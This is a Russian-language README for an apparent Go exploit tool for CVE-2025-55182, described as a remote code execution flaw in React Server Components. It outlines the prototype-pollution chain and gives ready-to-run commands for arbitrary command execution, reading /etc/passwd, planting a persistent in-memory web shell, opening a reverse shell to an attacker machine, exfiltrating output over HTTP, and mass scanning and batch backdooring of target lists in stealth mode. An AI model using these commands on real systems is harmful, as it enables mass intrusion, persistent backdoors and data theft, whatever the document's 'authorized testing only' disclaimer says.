Доказательство концепции на Go для CVE-2025-55182, критической RCE в React Server Components. Включает проверку уязвимости, выполнение команд, инъекцию шелла в память, реверс-шелл, массовое сканирование и поддержку прокси для авторизованного тестирования безопасности.
⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ ⚠️
CVE-2025-55182 (также известная как CVE-2025-66478) — это критическая уязвимость удаленного выполнения кода (RCE) в React Server Components (протокол Flight). Данный инструмент представляет собой реализацию PoC на Go для исследований в области безопасности и авторизованного тестирования на проникновение.
Затронутые версии:
Эксплойт использует загрязнение прототипа (prototype pollution) при десериализации протокола Flight:
$@ для получения ссылки на ChunkChunk.prototype.then как свойство then корневого объектаRESOLVED_MODEL, чтобы вызвать initializeModelChunk с контролируемым поддельным чанкомresponse._formData.get с полезной нагрузкой атакующегоresponse._formData.get на конструктор Function для выполнения произвольного кода/exec?cmd=Скачайте последний релиз для вашей платформы из GitHub Releases.
Доступные бинарники:
# Клонирование репозитория
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Сборка для текущей платформы
go build -o cve-2025-55182 .
# Или сборка для всех платформ
chmod +x build.sh
./build.sh
После запуска ./build.sh бинарные файлы будут находиться в каталоге build/ для всех поддерживаемых платформ.
# Проверка одной цели на уязвимость
./cve-2025-55182 -u http://target:3000 --check
# Определение версии Next.js
./cve-2025-55182 -u http://target:3000 --version-check
# Выполнение команды с выводом
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Внедрение memory shell (сначала проверяет, не установлен ли уже)
./cve-2025-55182 -u http://target:3000 --memshell
# Проверка активности memory shell
./cve-2025-55182 -u http://target:3000 --test-shell
# Выполнение команды через memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# После внедрения можно также использовать curl напрямую:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Добавление пользовательских заголовков (можно использовать несколько раз)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Пропуск проверки SSL-сертификата (для самоподписанных сертификатов)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Комбинирование с другими опциями
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 с аутентификацией
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 без аутентификации
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 прокси
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP прокси
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Пакетная проверка из файла
./cve-2025-55182 --urls targets.txt --check
# Пакетное сканирование с выводом в JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Пакетное сканирование с несколькими потоками и стелс-режимом
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Сохранение уязвимых целей в файл
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Пакетное внедрение memory shell
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Пакетное выполнение команд
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Обратный шелл (mkfifo + nc, работает на Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Сначала запустите слушатель на машине атакующего:
nc -lvnp 4444
# Эксфильтрация вывода команды через HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Запустите слушатель: nc -lvnp 4444
| Параметр | Описание |
|---|---|
-u, --url | Целевой URL (например, http://localhost:3000) |
-f, --file | Файл с целевыми URL (по одному на строку) |
--urls | Псевдоним для -f/--file |
-o, --output | Выходной файл для уязвимых целей |
--json | Вывод результатов в формате JSON |
-c, --command | Команда для выполнения (с выводом) |
--check | Проверка на уязвимость |
--version-check | Определение версии Next.js |
--proxy | URL прокси (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Пользовательский заголовок (можно использовать несколько раз) |
-k, --insecure | Пропустить проверку SSL/TLS сертификата |
--stealth | Стелс-режим: browser, crawler, security (по умолчанию: browser) |
--delay | Задержка между запросами (например, 2s, 500ms) |
--variants | Использовать несколько вариантов полезной нагрузки для тщательной проверки |
--memshell | Внедрить memory shell (постоянный бэкдор) |
--test-shell | Проверить, активен ли memory shell |
--shell-exec | Выполнить команду через memory shell |
--revshell IP PORT | Установить обратный шелл |
--exfil CMD IP PORT | Выполнить команду и отправить вывод POST-запросом |
-t, --timeout | Тайм-аут запроса в секундах (по умолчанию: 15) |
--threads | Количество параллельных потоков (по умолчанию: 10) |
--workers | Псевдоним для --threads |
--nocolor | Отключить цветной вывод (для Windows/pipes) |
-h, --help | Показать справку |
-v, --version | Показать версию |